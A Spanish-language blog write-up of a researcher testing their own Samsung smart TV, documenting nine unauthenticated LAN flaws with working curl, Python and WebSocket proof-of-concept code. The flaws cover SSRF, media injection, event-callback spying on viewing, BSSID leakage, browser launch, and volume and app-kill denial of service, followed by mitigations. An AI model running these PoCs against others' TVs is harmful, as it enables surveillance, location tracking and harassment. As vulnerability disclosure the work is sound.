← Blog
general

Tratando de Reventar mi Televisor Samsung

Admin 15 Apr 2026
IOT TV WEB

📺 Una tarde en casa, Twitter y "¿por qué no?"

Una tarde en casa, leyendo Twitter, vi a alguien que había hackeado su tele. Y pensé: "¿por qué no...?"

Tenía una Samsung Q60D (TQ50Q60DAUXXC, firmware T-NKLDDEUC-0090-2115.2) conectada a la red de casa. La monté en el salón, le lancé un nmap y empecé a tirar del hilo. Lo que empezó como curiosidad se convirtió en 9 vulnerabilidades confirmadas, varias de ellas explotables sin autenticación desde cualquier dispositivo de la misma red WiFi.

Este post tiene todos los detalles: protocolos, PoCs funcionales y explicación de por qué funciona cada cosa.


📡 Cómo funciona una Smart TV por dentro

Antes de hablar de bugs, hay que entender qué está corriendo en la tele.

Una Smart TV moderna no es solo un display. Es un servidor de red completo que expone servicios para que tu móvil, tablet y otras apps de la red puedan controlarlo. Los protocolos principales son:

  • UPnP/DLNA: Protocolo de control basado en XML/SOAP. Sirve para que apps como VLC o el móvil puedan decirle a la tele "reproduce este archivo", "para", "sube el volumen". Los mensajes van en XML y se mandan por HTTP POST.
  • DIAL (Discovery and Launch): Protocolo que usan Netflix, YouTube y Chrome para descubrir receptores en la red y lanzar aplicaciones en ellos. La tele expone una API HTTP donde se puede preguntar "¿tienes Netflix?" y pedir que lo arranque.
  • SmartView / WebSocket: API propietaria de Samsung que usan apps de control remoto. Se conectan por WebSocket y mandan eventos en JSON.
  • Google Cast / AirPlay: Protocolos de casting de Google y Apple respectivamente. La tele hace de receptor.

Todo esto es útil para la comodidad del usuario. El problema es cuando ninguno de estos servicios pide autenticación.

🔍 Enumeración: cuántos puertos tiene abiertos una Samsung

Lo primero que hice fue un nmap básico:

nmap -sV -p- 192.168.1.36

Resultado: 16 puertos TCP abiertos.

Puerto Servicio Auth
7000 AirPlay/AirTunes RTSP NO
7678 UPnP DIAL Receiver NO
8001 SmartView API v2 PARCIAL
8008 Google Cast NO
8080 DIAL WebServer PARCIAL
8187 UPnP AllShare NO
9119 UPnP ScreenSharing NO
9197 UPnP DMR / DLNA NO
... ... ...

El 80% de los servicios no pedían credenciales de ningún tipo.

Descubrí los servicios SSDP con:

gssdp-discover -i eth0 --timeout=5

La tele se anunciaba a sí misma en la red con tres UUIDs distintos apuntando a servicios UPnP en puertos 9197 y 9119.


🚨 VULN-001: SSRF vía UPnP SetAVTransportURI

Puerto: 9197 | Auth: Ninguna | Severidad: Alta

Cómo funciona UPnP/DLNA

El protocolo UPnP permite que un cliente (tu móvil) envíe acciones SOAP a la tele para controlar la reproducción. La acción SetAVTransportURI es la que le dice a la tele "carga este recurso multimedia". El TV recibe una URL y hace una petición HTTP a esa URL para verificar el contenido antes de reproducirlo.

El problema: acepta cualquier URL sin autenticación y sin validar que sea multimedia.

Por qué funciona

Cuando envías SetAVTransportURI, la tele hace dos peticiones al servidor que indica la URL:

  1. HEAD — para comprobar headers (tipo de contenido, tamaño, soporte DLNA)
  2. GET — para descargar el contenido

Eso convierte a la tele en un proxy HTTP involuntario: puedes hacer que resuelva nombres internos, pruebe puertos, y haga peticiones en tu nombre desde su posición en la red.

PoC completo

1. Montar un servidor HTTP para capturar las peticiones de la tele:

python3 -m http.server 9999

2. Enviar la acción SOAP:

curl -s -X POST http://192.168.1.36:9197/upnp/control/AVTransport1 \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://192.168.1.46:9999/test</CurrentURI>
      <CurrentURIMetaData></CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>'

3. Lo que apareció en el servidor HTTP:

[18:58:47] 192.168.1.36:59180 → HEAD /test.mp4 → 200
  Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1', 'getCaptionInfo.sec': '1'}
[18:58:47] 192.168.1.36:59190 → GET /test.mp4 → 200
  Headers: {'Host': '192.168.1.46:9999', 'getcontentFeatures.dlna.org': '1'}

La tele hizo HEAD y GET a mi servidor sin que yo hubiera hecho nada más. La IP origen era 192.168.1.36 — la propia tele.

PoC: SetAVTransportURI forzando una petición de la tele

Impacto real:

  • La tele actúa como proxy para hacer peticiones a cualquier host/puerto de la red
  • Puedes escanear hosts internos desde la posición de la tele
  • Cuando probé con http://localhost:PORT/, devolvía error 716 para puertos internos (lo que confirma que lo intenta)

📺 VULN-002: Media Injection sin autenticación

Puerto: 9197 | Auth: Ninguna | Severidad: Alta

Por qué funciona

Una vez que tienes SetAVTransportURI, la tele carga lo que le mandes. Y con la acción Play, lo reproduce. Sin popup, sin confirmación, sin PIN. Cualquier dispositivo en la red WiFi puede poner lo que quiera en pantalla.

Los MIME types que acepta directamente: image/bmp, image/jpeg, image/png, audio/mpeg, video/mp4, video/x-matroska.

PoC completo — Mostrar una imagen roja en la tele

#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46

# 1. Crear imagen BMP roja de 200x200
python3 -c "
import struct
w, h = 200, 200
rs = (w*3+3)&~3
d = b'BM' + struct.pack('<I',54+rs*h) + b'\0\0\0\0' + struct.pack('<I',54)
d += struct.pack('<I',40) + struct.pack('<ii',w,h) + struct.pack('<HH',1,24) + b'\0'*24
for y in range(h):
    d += b'\x00\x00\xff'*w + b'\0'*(rs-w*3)
open('/tmp/pwned.bmp','wb').write(d)
"

# 2. Servir el archivo
cd /tmp && python3 -m http.server 9999 &
sleep 1

# 3. Cargar en la tele con metadatos DLNA
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI"' \
  -d "<?xml version=\"1.0\"?>
<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\"
  s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">
  <s:Body>
    <u:SetAVTransportURI xmlns:u=\"urn:schemas-upnp-org:service:AVTransport:1\">
      <InstanceID>0</InstanceID>
      <CurrentURI>http://${MY_IP}:9999/pwned.bmp</CurrentURI>
      <CurrentURIMetaData>&lt;DIDL-Lite xmlns=&quot;urn:schemas-upnp-org:metadata-1-0/DIDL-Lite/&quot; xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot; xmlns:upnp=&quot;urn:schemas-upnp-org:metadata-1-0/upnp/&quot;&gt;&lt;item id=&quot;0&quot; parentID=&quot;-1&quot; restricted=&quot;false&quot;&gt;&lt;dc:title&gt;HACKED&lt;/dc:title&gt;&lt;res protocolInfo=&quot;http-get:*:image/bmp:*&quot;&gt;http://${MY_IP}:9999/pwned.bmp&lt;/res&gt;&lt;upnp:class&gt;object.item.imageItem&lt;/upnp:class&gt;&lt;/item&gt;&lt;/DIDL-Lite&gt;</CurrentURIMetaData>
    </u:SetAVTransportURI>
  </s:Body>
</s:Envelope>"

sleep 1

# 4. Reproducir
curl -s -X POST "http://$TV:9197/upnp/control/AVTransport1" \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:AVTransport:1#Play"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:Play xmlns:u="urn:schemas-upnp-org:service:AVTransport:1">
      <InstanceID>0</InstanceID><Speed>1</Speed>
    </u:Play>
  </s:Body>
</s:Envelope>'

Respuesta real de la tele:

<u:SetAVTransportURIResponse/>   ← Cargado con éxito
<u:PlayResponse/>                ← Reproducción iniciada
<CurrentTransportState>TRANSITIONING</CurrentTransportState>

Log del servidor:

[19:00:16] 192.168.1.36 → HEAD /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET  /pwned.bmp → 200
[19:00:20] 192.168.1.36 → GET  /pwned.bmp → 200
[19:00:21] 192.168.1.36 → GET  /pwned.bmp → 200  ← tercera descarga = rendering activo

1000132120.jpg

PoC: SetAVTransportURI + Play cargando una BMP roja sin consentimiento

La tele descargó la imagen tres veces (verificación + decodificación + render) y la mostró en pantalla.

Acciones UPnP disponibles sin autenticación: SetAVTransportURI, Play, Stop, Pause, Next, Previous, GetTransportInfo, GetMediaInfo, GetPositionInfo


👁️ VULN-003: SSRF por callbacks UPnP SUBSCRIBE

Puertos: 9197, 9119 | Auth: Ninguna | Severidad: Media-Alta

Cómo funciona UPnP Events

Además de enviar comandos, UPnP permite suscribirse a eventos. Funciona así: le dices a la tele "cuando cambies de estado, avísame en esta URL". La tele guarda tu callback y cada vez que alguien cambia el volumen, para una película o cambia de fuente, te manda un HTTP NOTIFY con el estado completo.

Esto es para que tu app de control remoto pueda actualizar su interfaz en tiempo real. El problema es que acepta cualquier URL como callback, sin autenticación.

PoC: espiar qué está viendo alguien en la tele

#!/bin/bash
TV=192.168.1.36
MY_IP=192.168.1.46

# 1. Servidor que captura y parsea los eventos
python3 -c "
import http.server, time

class H(http.server.BaseHTTPRequestHandler):
    def do_NOTIFY(self):
        body = self.rfile.read(int(self.headers.get('Content-Length',0)))
        print(f'[{time.strftime(\"%H:%M:%S\")}] TV State Change:')
        text = body.decode('utf-8', errors='replace')
        if 'TransportState' in text:
            import re
            state = re.findall(r'TransportState val=\"([^\"]+)\"', text)
            uri = re.findall(r'CurrentTrackURI val=\"([^\"]+)\"', text)
            title = re.findall(r'dc:title[^>]*>([^<]+)<', text)
            if state: print(f'  Estado: {state[0]}')
            if uri:   print(f'  URI: {uri[0]}')
            if title: print(f'  Título: {title[0]}')
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass

print('Escuchando cambios de estado del TV...')
http.server.HTTPServer(('0.0.0.0', 9999), H).serve_forever()
" &
sleep 1

# 2. Suscribirse — la tele enviará NOTIFYs a mi servidor
curl -s -X SUBSCRIBE "http://$TV:9197/upnp/event/AVTransport1" \
  -H "CALLBACK: <http://$MY_IP:9999/spy>" \
  -H "NT: upnp:event" \
  -H "TIMEOUT: Second-1800"

Respuesta de la tele:

HTTP/1.1 200 OK
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
TIMEOUT: Second-300

Notificaciones recibidas (más de 100 en una sesión de prueba):

NOTIFY /spy HTTP/1.1
SID: uuid:10349287-2848-47ce-98a5-d3f737c670f7
NT: upnp:event
NTS: upnp:propchange
User-Agent: Samsung Server UPnP/1.0

<AVTransportURI val="http://...contenido_reproducido..."/>
<TransportState val="PLAYING"/>

PoC: SUBSCRIBE + trigger + NOTIFY llegando al atacante

Servicios suscribibles sin auth:

  • /upnp/event/AVTransport1 — estado de reproducción
  • /upnp/event/RenderingControl1 — volumen y mute
  • /upnp/event/ConnectionManager1 — conexiones activas
  • /upnp/event/ScreenSharingService1 — estado del mirroring

📱 VULN-004: ScreenSharing sin aprobación del usuario

Puerto: 9119 | Auth: Ninguna | Severidad: Alta

Cómo funciona el Screen Mirroring

Samsung usa WiFi Direct (P2P) para el mirroring de pantalla. La negociación empieza con una llamada SOAP donde el cliente dice "quiero conectarme para hacer mirroring, aquí están mis MACs". Normalmente esto debería mostrar un popup en la tele pidiendo aprobación.

No lo hace. La acción X_ConnectScreenSharingM2TV responde directamente y además filtra el BSSID del router WiFi al que está conectada la tele.

Por qué eso importa

El BSSID es la MAC del punto de acceso WiFi. Con esa información y bases de datos públicas como WiGLE, se puede triangular la ubicación geográfica del dispositivo (y por tanto de la casa o despacho donde está).

PoC

curl -s -X POST http://192.168.1.36:9119/upnp/control/ScreenSharingService1 \
  -H "Content-Type: text/xml; charset=utf-8" \
  -H 'SOAPAction: "urn:samsung.com:service:ScreenSharingService:1#X_ConnectScreenSharingM2TV"' \
  -d '<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"
  s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
  <s:Body>
    <u:X_ConnectScreenSharingM2TV
      xmlns:u="urn:samsung.com:service:ScreenSharingService:1">
      <mWlanMacAddress>AA:BB:CC:DD:EE:FF</mWlanMacAddress>
      <mP2pDeviceAddress>AA:BB:CC:DD:EE:FF</mP2pDeviceAddress>
      <mBluetoothMacAddress>AA:BB:CC:DD:EE:FF</mBluetoothMacAddress>
      <mWFDSourcePort>7236</mWFDSourcePort>
    </u:X_ConnectScreenSharingM2TV>
  </s:Body>
</s:Envelope>'

Respuesta real de la tele:

<u:X_ConnectScreenSharingM2TVResponse>
  <tBSSID>44:3b:14:2b:8c:78</tBSSID>
  <tWlanFreq>2437</tWlanFreq>
  <tListenFreq>2437</tListenFreq>
</u:X_ConnectScreenSharingM2TVResponse>

El BSSID 44:3b:14:2b:8c:78 es la MAC de mi router. La frecuencia 2437 MHz corresponde al canal 6 de la banda 2.4GHz.


🔌 VULN-005: Canales WebSocket sin autenticación

Puerto: 8001 | Auth: Ninguna (en varios canales) | Severidad: Media

Cómo funciona SmartView

La API SmartView de Samsung permite control remoto completo de la tele. Funciona por WebSocket: la app se conecta, la tele muestra un popup pidiendo aceptar la conexión, y si el usuario acepta, se establece la sesión.

El canal samsung.remote.control (el que manda teclas del mando a distancia) sí requiere token. Pero hay muchos otros canales que se conectan directamente:

Canal Resultado
samsung.remote.control ms.channel.unauthorized
samsung.remote ms.channel.connect ✓ sin auth
samsung.companion ms.channel.connect ✓ sin auth
com.samsung.companion ms.channel.connect ✓ sin auth
samsung.art.control ms.channel.connect ✓ sin auth
samsung.channel.0 ms.channel.connect ✓ sin auth

PoC

import asyncio, websockets, json, base64

async def connect():
    name = base64.b64encode(b"SecurityTest").decode()
    uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.companion?name={name}"
    async with websockets.connect(uri) as ws:
        msg = await ws.recv()
        data = json.loads(msg)
        print(f"Evento: {data['event']}")
        print(f"Client ID asignado: {data['data']['id']}")
        print(f"Clientes conectados: {len(data['data']['clients'])}")

asyncio.run(connect())

Respuesta real:

{
  "data": {
    "clients": [{
      "attributes": {"name": "U2VjdXJpdHlUZXN0"},
      "connectTime": 1776186527030,
      "deviceName": "U2VjdXJpdHlUZXN0",
      "id": "cbab98f8-bde9-4116-865f-6e427cd5645d",
      "isHost": false
    }],
    "id": "cbab98f8-bde9-4116-865f-6e427cd5645d"
  },
  "event": "ms.channel.connect"
}

PoC: matriz de canales — uno pide token, los demás aceptan sin nada

Una sesión persistente establecida, sin popup en pantalla, sin confirmación del usuario.


📊 VULN-006: Information Disclosure masiva

Puertos: 8001, 7000, 8008, 9119, 7678, 8080 | Auth: Ninguna | Severidad: Media

Por qué importa

La tele expone datos de identidad y contexto en endpoints públicos sin autenticación. Esto por sí solo no es un exploit, pero es el combustible que hace los otros ataques mucho más precisos.

PoC: fingerprint completo de la tele

#!/bin/bash
TV=192.168.1.36

echo "=== SmartView API ==="
curl -s "http://$TV:8001/api/v2/" | python3 -m json.tool

echo "=== Google Cast ==="
curl -s "http://$TV:8008/setup/eureka_info" | python3 -m json.tool

echo "=== AirPlay ==="
curl -s "http://$TV:7000/info" | strings | grep -E "(firmware|serial|model|version|build|mac|SDK|Engine)"

echo "=== Screen Sharing MACs ==="
curl -s "http://$TV:9119/screen_sharing" | python3 -c "
import sys, re
text = sys.stdin.read()
ss = re.findall(r'X_ScreenSharing>([^<]+)', text)
if ss:
    for pair in ss[0].split(','): print(f'  {pair}')
"

echo "=== Apps DIAL ==="
for app in Netflix YouTube; do
    state=$(curl -s -m 2 "http://$TV:8080/ws/apps/$app" | python3 -c "import sys,re; m=re.search(r'<state>([^<]+)',sys.stdin.read()); print(m.group(1) if m else '?')")
    echo "  $app: $state"
done

Lo que devuelve:

Dato Valor Fuente
Modelo TQ50Q60DAUXXC 8001, 9197
Firmware T-NKLDDEUC-0090-2115.2 8001, 7000
Serial 0FJC3SCXA03609V 7000, 9197
WiFi MAC 28:E6:A9:6E:38:D6 8001, 9119
Ethernet MAC F4:DD:06:AC:EE:A0 7000, 9119
Bluetooth MAC 28:E6:A9:6E:38:D7 9119
P2P MAC 2A:E6:A9:6E:38:D6 9119, 9197
Router BSSID 44:3B:14:2B:8C:78 8001, 9119
Web Engine Chromium 74.128.1 7000
RSA Public Key completa 2048-bit 8008
Netflix stopped v80.24.16020 8080

PoC: fingerprint completo de la tele sin autenticación


🔊 VULN-007: UPnP RenderingControl sin autenticación — volumen y mute remotos

Puerto: 9197 | Auth: Ninguna | Severidad: Media

Por qué importa

El mismo servicio UPnP que habilita las otras vulns del puerto 9197 (AVTransport, RenderingControl, ConnectionManager) expone también control total del volumen y del mute sin autenticación. Cualquiera en la WiFi puede dejar la tele muda, subir el volumen al máximo de golpe o hacer zapping del mute — sabotaje puro, y con volumen al 100 hay riesgo auditivo real.

Esto no era obvio a priori — RenderingControl suena a control de renderizado gráfico, pero incluye el mixer de audio.

PoC real contra mi tele

TV=192.168.1.36

# Leer volumen actual
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#GetVolume"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:GetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel></u:GetVolume></s:Body></s:Envelope>'

# Bajar a 7 (o 100, o lo que quieras)
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetVolume"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetVolume xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredVolume>7</DesiredVolume></u:SetVolume></s:Body></s:Envelope>'

# Mute ON
curl -s -X POST http://$TV:9197/upnp/control/RenderingControl1 \
  -H 'Content-Type: text/xml; charset=utf-8' \
  -H 'SOAPAction: "urn:schemas-upnp-org:service:RenderingControl:1#SetMute"' \
  -d '<?xml version="1.0"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:SetMute xmlns:u="urn:schemas-upnp-org:service:RenderingControl:1"><InstanceID>0</InstanceID><Channel>Master</Channel><DesiredMute>1</DesiredMute></u:SetMute></s:Body></s:Envelope>'

Respuesta real:

<u:GetVolumeResponse><CurrentVolume>22</CurrentVolume></u:GetVolumeResponse>
<u:SetVolumeResponse/>                     ← bajado a 7
<u:GetVolumeResponse><CurrentVolume>7</CurrentVolume></u:GetVolumeResponse>
<u:SetMuteResponse/>                       ← muteado

PoC: GetVolume → SetVolume → GetVolume → Restore

Acciones del servicio RenderingControl:1 disponibles sin auth: GetVolume, SetVolume, GetMute, SetMute, ListPresets, SelectPreset, X_GetAspectRatio, X_SetAspectRatio, X_Move360View, X_Zoom360View, X_Origin360View, X_ControlCaption.

Combinado con VULN-002 tienes un arma perfecta de prank/harassment remoto: imagen a pantalla completa + volumen al 100 + mute off, sin un solo clic del usuario.


🌐 VULN-008: Lanzamiento del navegador sin auth — desincronización DIAL ↔ MSF

Puerto: 8001 (WebSocket) | Auth: Ninguna | Severidad: Media-Alta

Cómo lo encontré

Buscando cómo abrir el navegador de la tele a una URL, la ruta obvia es DIAL (POST /ws/apps/WebBrowser), que responde 200 OK pero deja el estado en stopped. Samsung mantiene un whitelist en el launcher de DIAL que explícitamente bloquea el navegador — decisión de hardening razonable.

Pero Samsung tiene dos caminos independientes al app launcher: DIAL y MSF (Multi-Screen Framework, vía WebSocket en el puerto 8001). Y sólo el whitelist de DIAL cubre al navegador. La API MSF arranca org.tizen.browser sin rechistar.

Por qué funciona

El canal WebSocket samsung.remote.control sí requiere token (lo que cubre SendRemoteKey, el método principal para simular pulsaciones del mando). Pero otros canales — samsung.remote, samsung.companion, samsung.art.control, samsung.channel.0 — aceptan conexión sin token (VULN-005).

Dentro de cualquiera de esos canales, el método ms.application.start se procesa sin comprobar si el cliente está autorizado a lanzar esa app específica. DIAL tiene whitelist; MSF no. Launcher doble, guardia sólo en una puerta.

PoC completo

import asyncio, websockets, json, base64

async def pwn():
    name = base64.b64encode(b"attacker").decode()
    uri = f"ws://192.168.1.36:8001/api/v2/channels/samsung.remote?name={name}"
    async with websockets.connect(uri) as ws:
        await ws.recv()  # handshake
        await ws.send(json.dumps({
            "method": "ms.application.start",
            "params": {"id": "org.tizen.browser"}
        }))

asyncio.run(pwn())

Evidencia:

$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>stopped</state>

$ python3 pwn.py

$ curl -s http://192.168.1.36:8080/ws/apps/WebBrowser | grep state
<state>running</state>           ← Navegador abierto sin consentimiento

PoC: DIAL bloquea, MSF no

Qué no conseguí

Probé 33 variantes del payload para forzar la URL inicial (data.url, data.uri, data.href, data.operation con uri, data.extra, params top-level, options.url, args.url, JSON stringified, ms.webapplication.start con distintos nombres de campo, IDs alternativos WebBrowser / browser / Internet / com.samsung.tv-web-browser, etc.). En todas, el navegador arranca pero carga su home por defecto. Un servidor HTTP en 192.168.1.46 no recibió ni una sola petición desde la tele.

Samsung parece haber desvinculado el launcher MSF del app-control de Tizen justamente para cerrar este vector. Buena defensa en profundidad — pero parcial: el atacante sigue pudiendo abrir el navegador sin consentimiento, lo que ya habilita escenarios de prank, phishing físico (si el usuario sigue usando el browser ve la pantalla "interrumpida" de forma creíble) y futura escalada si algún día se descubre un bypass del aislamiento URL.

Dato bonus: Samsung ya pensó en este vector

Probando ms.channel.emit con eventos del namespace interno, la tele responde:

{"event":"ms.error","data":{"message":"Usage of `ms.` in custom event is not allowed. Perhaps use a alternative namespace."}}

Ese mensaje — redactado en inglés no nativo con la sugerencia de "usar un namespace alternativo" — delata que alguien blindó ms.channel.emit tras observar este mismo patrón de inyección. Pero el hardening cubre sólo emit, no ms.application.start directo. Clásico agujero por inconsistencia.


🎛️ VULN-009: ACL DIAL inconsistente y DELETE sin auth

Puerto: 8080 | Auth: Ninguna (parcial) | Severidad: Media

Problema 1: misma API, ACL distinta por app

La API DIAL expone cada app bajo /ws/apps/<name>. El control de acceso a POST (lanzamiento) no es uniforme:

App POST externo Comportamiento
Netflix 201 Created Se lanza sin auth
YouTube 403 Forbidden ACL por IP activo
WebBrowser 404 Not Found Handler niega externos

No hay un patrón limpio. Netflix queda expuesto a lanzamiento remoto trivial; YouTube bloqueado; WebBrowser en un estado raro (el 404 es engañoso — el handler existe, sólo que no responde al POST para clientes externos, cosa que comprobé porque el estado cambia internamente bajo condiciones específicas).

Problema 2: DELETE no está en la ACL

El control que hay para POST se olvidaron de aplicarlo a DELETE. Una petición DELETE /ws/apps/<app>/run cierra la app sin auth ni token:

# Cualquier usuario de la WiFi puede parar Netflix/YouTube/WebBrowser/etc.
curl -X DELETE http://192.168.1.36:8080/ws/apps/Netflix/run
# HTTP/1.1 200 OK

DoS trivial: scriptado sobre las apps instaladas, un atacante de la red local puede impedir el uso normal de la tele (while true; do curl -X DELETE …; sleep 2; done). Sin logs visibles, sin popup, sin forma de saber desde dónde viene.

PoC: inconsistencia de POST + DELETE sin auth

Por qué me importa documentarlo

Cuando las respuestas de una misma API varían según la app sin un patrón claro, es fácil pensar que hay un control bypasseable donde en realidad solo hay políticas asimétricas. Documentar la inconsistencia evita mal-interpretar diferencia de manejador como bypass de control.


🛡️ Defensas que sí funcionan

La tele no es un queso completo. Hubo cosas que probé que no funcionaron:

Ataque Defensa Resultado
file:// en SetAVTransportURI Solo acepta http:// Error 716
gopher://, dict://, ftp:// Solo http:// Error 716
XXE via SOAP XML Parser rechaza DOCTYPE Error 402
Command injection en URL Tratado como literal No interpretado
Format string %n%s No procesado Error 701
Buffer overflow 50K en metadata No crash Parser robusto
HTML via DLNA MIME type bloqueado Error 714
WebSocket token bruteforce Token auth sólido ms.channel.unauthorized
SOAP multi-action injection Solo procesa 1ª acción Ignora resto

🎓 Qué aprender de esto

Si eres fabricante (Samsung):

  1. Autenticación en acciones UPnP sensiblesSetAVTransportURI, Play, SetVolume y SetMute no deberían aceptarse de cualquiera en la red sin confirmación del usuario
  2. Autorización en UPnP SUBSCRIBE — no aceptar callbacks a URLs arbitrarias sin validación previa
  3. Popup de aprobación en ScreenSharing — el usuario debería confirmar en pantalla
  4. Cerrar canales WebSocket sin authsamsung.companion, samsung.remote, etc., y gate de ms.application.start equivalente al de DIAL
  5. Reducir información expuesta — serial, MACs, BSSID del router, clave RSA pública... demasiado
  6. Uniformar la ACL DIAL — Netflix sin ACL, YouTube con ACL, DELETE sin ACL: la política tiene que ser la misma para todos los apps y todos los métodos HTTP
  7. Sincronizar whitelists DIAL y MSF — si DIAL bloquea el lanzamiento del navegador, MSF tiene que aplicar la misma regla, no abrir una segunda puerta

Si eres usuario:

  1. VLAN IoT separada — la tele no debería compartir red con tu portátil de trabajo
  2. Bloquear puertos 9197, 9119, 8187 desde otros dispositivos si tu router lo permite
  3. Actualizar firmware siempre que haya parche disponible
  4. No conectar la tele a redes WiFi públicas/compartidas

🚀 Conclusión

La historia empezó con "lo vi en Twitter, ¿por qué no?" y terminó con 9 vulnerabilidades confirmadas explotables desde la misma red WiFi sin un solo clic del usuario.

Dónde puede acabar esto mal:

  • Hospitales: una tele en sala de reuniones con información médica proyectada — cualquier visitante con portátil puede ver lo que se está emitiendo
  • Oficinas: manipulación de pantallas en sala de espera o salas de reuniones
  • Hogares compartidos: flatmates curiosos con acceso a la misma WiFi
  • Hoteles: habitaciones en la misma VLAN (pasa más de lo que parece)

Otro recordatorio clásico de IoT: la seguridad se diseña después de la comodidad, si es que se diseña.


Este análisis se realizó sobre mi propia Samsung Q60D en mi red doméstica.